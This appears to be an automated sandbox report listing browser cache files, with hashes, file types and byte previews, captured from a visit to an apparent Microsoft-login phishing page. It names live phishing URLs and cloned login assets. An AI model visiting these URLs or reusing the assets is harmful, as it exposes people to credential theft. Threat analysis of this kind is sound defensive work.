Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Chrome Cache Entry: 129

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	dropped
Size (bytes):	2672
Entropy (8bit):	6.640973516071413
Encrypted:	false
SSDEEP:	48:ZaOdwduTYPpS9pZy9vDNi1miicsvrJkafMiS+MGQ09DU/X9/4Xp6m5Z9SQcq:4CIuTYPpSTc9vcPZX9/2gzQ/
MD5:	166DE53471265253AB3A456DEFE6DA23
SHA1:	17C6DF4D7CCF1FA2C9EFD716FBAE0FC2C71C8D6D
SHA-256:	A46201581A7C7C667FD42787CD1E9ADF2F6BF809EFB7596E61A03E8DBA9ADA13
SHA-512:	80978C1D262BC225A8BA1758DF546E27B5BE8D84CBCF7E6044910E5E05E04AFFEFEC3C0DA0818145EB8A917E1A8D90F4BAC833B64A1F6DE97AD3D5FC80A02308
Malicious:	false
Reputation:	low
Preview:	GIF89a`............!..NETSCAPE2.0.....!.......,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....0.............<....[.\K8j.tr.g..!.......,....3............^;...\UK.]\.%.V.c...!.......,....7........`....lo...[.a..*Rw~i...!.......,....;........h.....l.G-.[K.,_XA]..'g..!.......,....?........i.....g....Z.}..)..u...F..!.......,....C...............P.,nt^.i....Xq...i..!.......,....F...........{^b....n.y..i...\C.-...!.......,....H..............R...o....h.xV!.z#...!.......,"...L.............r.jY..w~aP(.......[i...!.......,(...N.............r....w.aP.j.'.)Y..S..!.......,....H.........`......hew..9`.%z.xVeS..!.......,5...A.........`...\m.Vmtzw.}.d.%...Q..!.......,9...=.........h......3S..s.-W8m...Q..!.......,A...5.........h.....N...:..!..U..!.......,H.............h....M.x...f.i.4..!.......,O...'.........i...tp......(..!.......,X.............j...@.x....!.......,].............j..L..3em..!.......,e.............`......!.......,n..............{i..!..

Chrome Cache Entry: 130

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (3315)
Category:	downloaded
Size (bytes):	20649
Entropy (8bit):	4.819153113816509
Encrypted:	false
SSDEEP:	384:Kur8FMtBqIl5tIOhmkHUBFoRuGY8RxL+Gh:Kur8FMtPlffhmvPoRuGY8RxL+Gh
MD5:	575DDCA0348EC01C4FC9C0DFE91AAD33
SHA1:	542DA9E00D01EDAE2E7CF0EF0CFBCC620F64141F
SHA-256:	5B9F355B684BB4724791DF0D5266FABB56261DE190D4F469921D2B90B74AEEFB
SHA-512:	57CC1694D951900A9F8A9D045946D1EE8355DEAA872E2D22B1E81147FBE954A2D3A97EEC040C33270E94311AD442839993F29A589D1B9D1564B24DD4E64A4E1B
Malicious:	false
Reputation:	low
URL:	https://ameninternazionale.org/.well-know/cd/re/
Preview:	<!DOCTYPE html>.<html lang="en">.<head>. <meta charset="UTF-8">. <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">. <meta http-equiv="X-UA-Compatible" content="IE=edge"/>. <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=0"/>. <style> #loadingScreen {. position: fixed;. top: 0;. bottom: 0;. left: 0;. right: 0;. background-color: #fff. }. #loadingLogo {. position: fixed;. top: calc(50vh - 90px);. left: calc(50vw - 90px);. width: 180px;. height: 180px. }. #MSLogo {. position: fixed;. bottom: 36px;. left: calc(50vw - 45px);. }. .dark #loadingScreen {. background-color: #333. }. .darkNew #loadingScreen {. background-color: #1f1f1f. }..body {. display: flex;. flex-direction: column;. justify-content: space-between;. min-height: 100vh;. margin: 0;.}..#logo {. text-

Chrome Cache Entry: 131

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, original size modulo 2^32 1592
Category:	dropped
Size (bytes):	621
Entropy (8bit):	7.6770058072183405
Encrypted:	false
SSDEEP:	12:XDQ7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:X86qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	ECC8894D3791BEDDB4E0226F8DAB065A
SHA1:	6510EB51E76A49746C526E432455549B50DE5AF1
SHA-256:	64C8C0A9EFBC27AD86EAEC90465B75C52AE8CD68F7E76FC9431DC6AE66072AC3
SHA-512:	02B20BE98C22EBF7886FE68008C4ED42E3F8FF6ADC8DD7BC1A43A8C4F6FD56CC932EFC5500249A4FAA5024574A841AD10FC8DDB8221CB7226E0E16DEA63F7052
Malicious:	false
Reputation:	low
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 132

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 47 x 34, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.068159130770306
Encrypted:	false
SSDEEP:	3:yionv//thPlu1tkppBxl/k4E08up:6v/lhPwEHB7Tp
MD5:	4A40AA04470C68AF30B5E2414C04C321
SHA1:	3F72FAF0F8552823C93D2D728A5C0ACBD6F7F1F6
SHA-256:	6B86B887496A050F70FB2B192F49C046DA6B46E0B4425F94EF0FC31072BCAB2C
SHA-512:	780941936E84E12BCB3AECDB2EDA6B1D0B07C5DC3109D13D0070F68DA62D63D41B70C79D6BD4CE1FE65F68E6E96824DFE3DD57A8E8204D2FED22DA87874DF022
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.../...".....@..%....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 133

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, 16x16 with PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced, 32 bits/pixel, 24x24 with PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced, 32 bits/pixel
Category:	downloaded
Size (bytes):	2279
Entropy (8bit):	7.354295352983905
Encrypted:	false
SSDEEP:	24:sb8IQUm7Ar/pPwZRbiHGIc+CozPPdv4CA0H+9dCjnmLr7laO+If7xkLLVP:sbvmiRwZUmD+CoTU0HbEXRzxkLBP
MD5:	7E0D59593F3377B72C29435C4B43954A
SHA1:	B4C5C39A6DFB460BBD2EACCEB09EC8079FB6A8E2
SHA-256:	62D706019A0D80173113EF70FBBEE12F286E8E221534BE788448AADA4B14C8E8
SHA-512:	397416A6A96A39F46F22E906A60E56067E5B7B11FB0597A733F862FC077C88D5ED31F51A82709A56F6082FB1F2F72F9A0FE0849E3DD493BB4240C265B546AAD3
Malicious:	false
Reputation:	low
URL:	https://cd092d4c-0e591a27.myconm.com/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico
Preview:	............ .....f......... .$...\|... .... .5.......00.... .j.......@@.... .....?......... .....2....PNG........IHDR................a....IDATx..1NCA.C..D@."-en.!.h..8@..9h..".....5M....h..-..l..L..P.Y.^luw...r.(.........w...B({....&.F......N.f%..........^&.x}Zu........g..7m......n?..U`....@.M8.g.-..\|..S.K.!....].%.I......&.I..`...F \|o;....{S....\|..VL...E....IEND.B`..PNG........IHDR..............w=.....IDATx..AJ.A.E_.5...D..$'....<.g.\...!.].!..Y....4...B.......4U...Q..J(...y....%..[t;..>\...~....O....r......e...F....8.d9....4.x.xW..e...c...~W..P2.........[.....r<..,..>....q.\...U...v.'......!.1.....9..:8............I.I.d.......IEND.B`..PNG........IHDR... ... .....szz.....IDATx..AJC1.E.{..... .;..>\..q+.. ..N.j....."8k.P..IF...M..{.8..F..Z.q...~.y}...0.f..U....Z...@yd...4......DT.B..)......v.8.....)..Lq.[....]_jrG$...3.%......i.vU...C...h0.....rz^.].....9..5.....mU~.E..GMF.X....?..Y.U..\|.c.k.v>..@.h..........Nh.u......IEND.B`..PNG........IHDR...

Chrome Cache Entry: 134

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
Reputation:	low
URL:	https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/jquery.min.js
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 135

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, original size modulo 2^32 3651
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.860223690068481
Encrypted:	false
SSDEEP:	24:XvstSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcN:Xv7DkpyVCGca4b//9z5oPXdbl9688qRU
MD5:	DF6A7721C242813411CC6950DF40F9B3
SHA1:	B2068C4A65C183AAD6FC22A44CC1FA449CD355B4
SHA-256:	AA53B6DC744357B392FC57C34E516BAE465D4A6837775C137A176D599C8EA948
SHA-512:	CDCFB686649F2061FE13A58841EB6A4E17F40951BA0C440C568B248E6128B6E0C4E79F95DC3EAB81286C103ED2A966F7058D22066466ADED482BF9ECAA6EA3CB
Malicious:	false
Reputation:	low
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 136

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 57510
Category:	downloaded
Size (bytes):	16345
Entropy (8bit):	7.98961401355024
Encrypted:	false
SSDEEP:	384:gOBEj/gTOkWow6mhJqXnYI/0PiQBSoe122Yw/:gOBKJBXO586QB+11J
MD5:	1BB2645B377E0429225D33E4E2CC6E3F
SHA1:	A40797795C77CDFF574080B506BAB17DB38494B5
SHA-256:	B3B869875C7655F97500FBA0BCE74BCE7CC1DEE31D7CE5B93EA5D6457E07F08E
SHA-512:	49C98F20572C7488FEDB8AAF6C3D1D004904536524B79FA44CAABC5B91C8BA1A192B10F1FBE28112CC324E17600160E5BAA5E30261E5D63858C16376219DD3FE
Malicious:	false
Reputation:	low
URL:	https://cd092d4c-0e591a27.myconm.com/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_i8f-75gfk3tbsm8bmatnqa2.js
Preview:	...........}Ms#.......\.@..'F.........3RH2....~......Q.x7...}..'.}..?e#...QU]....Vo..................?........w!......=.G...P.../......8z....q._5....g..}g..31......l*...],.b..;..`...Y....3..5.uGAi..NP.6<.w.(..`...y..d.N.x..^u.....^...?..N........Fq.....z..wgN./..Ep/f..c/.D4~X.W~).s/.E8...T...8,:..Q.p>.....7.....4....Z,&c.)n.[.pcQp...4...&...i.............CkL=.....g..m&vG..p... ....:N`y...ea.,....[......^.../D#(y.....l4.n..,.=_.p2P.....A,..RP..E.T......8 .v....Iw.X..?.r......nk....?Wj..a.\|..........JAs.j......?.)..t.z.-..m.]..3y...3@...'.)...Aa..1.kQ.....l+.....-q..n.p..{^...$..{/...=a..A...4.VH}..SBwju......S..hN.P..-..O,..S7.J,.....p.iLU.6W.....eO.7 ..C...{.E.Z...1...5s.!uY...@^. ,D".N.E......5.NE..\...VQa.A7..X.B..{.q..Ra..S....x(x7.Cp.#.#..:.......D..`,!IGr.. ...z.?.._0O.......;..0.z.h....5.../...q..5.\|..B.OY..k...].Sw.>.".@..!.9.V\|...=.dv.3!sr.....#...X8s.w.\|7..O/....!.."...3.."D..)...[........!^....3(..{...F2'..q.....x........

Chrome Cache Entry: 137

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65451)
Category:	dropped
Size (bytes):	89476
Entropy (8bit):	5.2896589255084425
Encrypted:	false
SSDEEP:	1536:AjExXUqrnxDjoXEZxkMV4SYSt0zvDD6ip3h8cApwEjOPrBeU6QLiTFbc0QlQvakF:AYh8eip3huuf6IidlrvakdtQ47GK1
MD5:	DC5E7F18C8D36AC1D3D4753A87C98D0A
SHA1:	C8E1C8B386DC5B7A9184C763C88D19A346EB3342
SHA-256:	F7F6A5894F1D19DDAD6FA392B2ECE2C5E578CBF7DA4EA805B6885EB6985B6E3D
SHA-512:	6CB4F4426F559C06190DF97229C05A436820D21498350AC9F118A5625758435171418A022ED523BAE46E668F9F8EA871FEAB6AFF58AD2740B67A30F196D65516
Malicious:	false
Reputation:	low
Preview:	/! jQuery v3.5.1 \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"o

Chrome Cache Entry: 138

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, 16x16 with PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced, 32 bits/pixel, 24x24 with PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced, 32 bits/pixel
Category:	dropped
Size (bytes):	2279
Entropy (8bit):	7.354295352983905
Encrypted:	false
SSDEEP:	24:sb8IQUm7Ar/pPwZRbiHGIc+CozPPdv4CA0H+9dCjnmLr7laO+If7xkLLVP:sbvmiRwZUmD+CoTU0HbEXRzxkLBP
MD5:	7E0D59593F3377B72C29435C4B43954A
SHA1:	B4C5C39A6DFB460BBD2EACCEB09EC8079FB6A8E2
SHA-256:	62D706019A0D80173113EF70FBBEE12F286E8E221534BE788448AADA4B14C8E8
SHA-512:	397416A6A96A39F46F22E906A60E56067E5B7B11FB0597A733F862FC077C88D5ED31F51A82709A56F6082FB1F2F72F9A0FE0849E3DD493BB4240C265B546AAD3
Malicious:	false
Reputation:	low
Preview:	............ .....f......... .$...\|... .... .5.......00.... .j.......@@.... .....?......... .....2....PNG........IHDR................a....IDATx..1NCA.C..D@."-en.!.h..8@..9h..".....5M....h..-..l..L..P.Y.^luw...r.(.........w...B({....&.F......N.f%..........^&.x}Zu........g..7m......n?..U`....@.M8.g.-..\|..S.K.!....].%.I......&.I..`...F \|o;....{S....\|..VL...E....IEND.B`..PNG........IHDR..............w=.....IDATx..AJ.A.E_.5...D..$'....<.g.\...!.].!..Y....4...B.......4U...Q..J(...y....%..[t;..>\...~....O....r......e...F....8.d9....4.x.xW..e...c...~W..P2.........[.....r<..,..>....q.\...U...v.'......!.1.....9..:8............I.I.d.......IEND.B`..PNG........IHDR... ... .....szz.....IDATx..AJC1.E.{..... .;..>\..q+.. ..N.j....."8k.P..IF...M..{.8..F..Z.q...~.y}...0.f..U....Z...@yd...4......DT.B..)......v.8.....)..Lq.[....]_jrG$...3.%......i.vU...C...h0.....rz^.].....9..5.....mU~.E..GMF.X....?..Y.U..\|.c.k.v>..@.h..........Nh.u......IEND.B`..PNG........IHDR...

Chrome Cache Entry: 139

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/cmg/1
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 140

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 113797
Category:	dropped
Size (bytes):	35192
Entropy (8bit):	7.9931114733762145
Encrypted:	true
SSDEEP:	768:9jvEn59nnK798zz35Hi4Sbt5o2xZHr6BrXFCjqrMYj7D3He9v:mK7q5C5tC2xZLwrXFPrMYjX3sv
MD5:	F57E211371B9E55D328785ACDF203545
SHA1:	1365B2DF20A7BBB257E4EBFAEEE193881F3464CF
SHA-256:	4CC73A4063D5916443DABCF7DB8872CD54BD2F75F7314540525F9479C01D4B1D
SHA-512:	7DF08BD07D02BBB0D04DF2F2F9D1B179F42D6F779E36257516A48594499291C05192C1D3F5CF6EC43DFCFDC8EFB428BA557BB1DF1C00028D894D2EBDB434DA55
Malicious:	false
Reputation:	low
Preview:	...........kC.H.0......e....0.pX..Iv3..\f..0YY.m..e$.K..o...j..g.3.lpW.......[..Y.?k.Y.......8~.a..../_.;]{.............v...0..q.Dk.w...h-....Z<..l.fA..k3.7..dm....b..-...(,.$...4...f...e...AV..z.mA....O.9........k..h-.......<Z[.GQ.v3....Oq..y:..(..k.$_...._..h-...q..S.ck.=.T......Sq@.:.A.c.(....SDq..Ac.t..m.$Lc....Z...K...O<....f9..p...0Z..3.<...$YK.x.F......v....nm..s$...&..dQ4.......n-.-.......E.XD..-5~...f.....t...-_.....fsg...8kZ..\|.{{....pkv....V..G.r..9. ..1.........\.5.l...r...... .....Ix.L.[=.o`.t..Dh.<.....Hp.l...M<..S.D.E.^.........]x[.e>...uv/./..ng....8.z..~.}.-..."..v.m.............t.dks.....\|........<?._...........{..~..F....:..`P../.Q4..IQ.' ...e)'.q......]2h.p....._....Eq.[p...(Y.GA.x....J...x.L....$../.......I..l.......Z..-....m....&.N@P..,..\|}..2........H'...dpVC...5fc..\...~.......l-.......w.....4.y0.66....,."....~..\...2..=.4=....z.. ~....+...K3..av.x k.V.Rw..-^.0... y..G..<&....(..k...) ...&.0Dv.....u.[.</.y.......

Chrome Cache Entry: 141

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/cmg/1
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 142

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, original size modulo 2^32 1864
Category:	downloaded
Size (bytes):	673
Entropy (8bit):	7.6584200238076905
Encrypted:	false
SSDEEP:	12:XRt8TUViiYi5m6FhSBXWPsigK99WCqKMvBBFThSqfLd81CK6bC+k7LqZLsFlD:X+UVpkNK0Rwid81p6btk7LqZ6D
MD5:	2D2CBA7D7DC75F3BA9DC756738D41A6E
SHA1:	F87FD26066ED5E52A65DEE0ED2D581D3C3EA15AC
SHA-256:	00E21864CF1BC70302EBB5B496C6C471A7DA8CBF600630B478A3E2376ED20EA2
SHA-512:	46F17658CA247C02F612213025350390D8F62179C8DE26725EB17F5CCFAFDD63F2149DA1765D3C2F3A12FE85EF29CAC58457B0D5C2F8DA8DED6E1231A35F199D
Malicious:	false
Reputation:	low
URL:	https://cd092d4c-0e591a27.myconm.com/shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg
Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Chrome Cache Entry: 143

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65451)
Category:	downloaded
Size (bytes):	89476
Entropy (8bit):	5.2896589255084425
Encrypted:	false
SSDEEP:	1536:AjExXUqrnxDjoXEZxkMV4SYSt0zvDD6ip3h8cApwEjOPrBeU6QLiTFbc0QlQvakF:AYh8eip3huuf6IidlrvakdtQ47GK1
MD5:	DC5E7F18C8D36AC1D3D4753A87C98D0A
SHA1:	C8E1C8B386DC5B7A9184C763C88D19A346EB3342
SHA-256:	F7F6A5894F1D19DDAD6FA392B2ECE2C5E578CBF7DA4EA805B6885EB6985B6E3D
SHA-512:	6CB4F4426F559C06190DF97229C05A436820D21498350AC9F118A5625758435171418A022ED523BAE46E668F9F8EA871FEAB6AFF58AD2740B67A30F196D65516
Malicious:	false
Reputation:	low
URL:	https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.1/jquery.min.js
Preview:	/! jQuery v3.5.1 \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"o

Chrome Cache Entry: 144

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47691)
Category:	downloaded
Size (bytes):	47692
Entropy (8bit):	5.401573598696506
Encrypted:	false
SSDEEP:	768:IXCtQmIutwVHBzZBF6gmXLSOzQDjdadOQbk6sgEvxm7b39tobLKZUvnw81KZLGcD:IGJWHBzZBF6xbGeLsVvQ33FUvDW
MD5:	B0B3774E70E752266B4CF190E6D95053
SHA1:	03823D33D8C374DD69B66F1D75A5FC93D29967E1
SHA-256:	A9F0787E39291D7BCB873D0D514F1D2C8DB0256FD741C2ABC4D46A809254E141
SHA-512:	8060AA547C3F32930EC2A3786A6BB15054F396D8EAB238EA34E881C2EEAE0D013AF246FDDE85DA8A5BFC2690B1EB26E5138B45BAA28479264DB3BA458D4055A8
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/turnstile/v0/g/f9063374b04d/api.js
Preview:	"use strict";(function(){function Ht(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);function g(l){Ht(u,o,c,g,h,"next",l)}function h(l){Ht(u,o,c,g,h,"throw",l)}g(void 0)})}}function D(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):D(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Sr(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 145

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, original size modulo 2^32 1592
Category:	downloaded
Size (bytes):	621
Entropy (8bit):	7.6770058072183405
Encrypted:	false
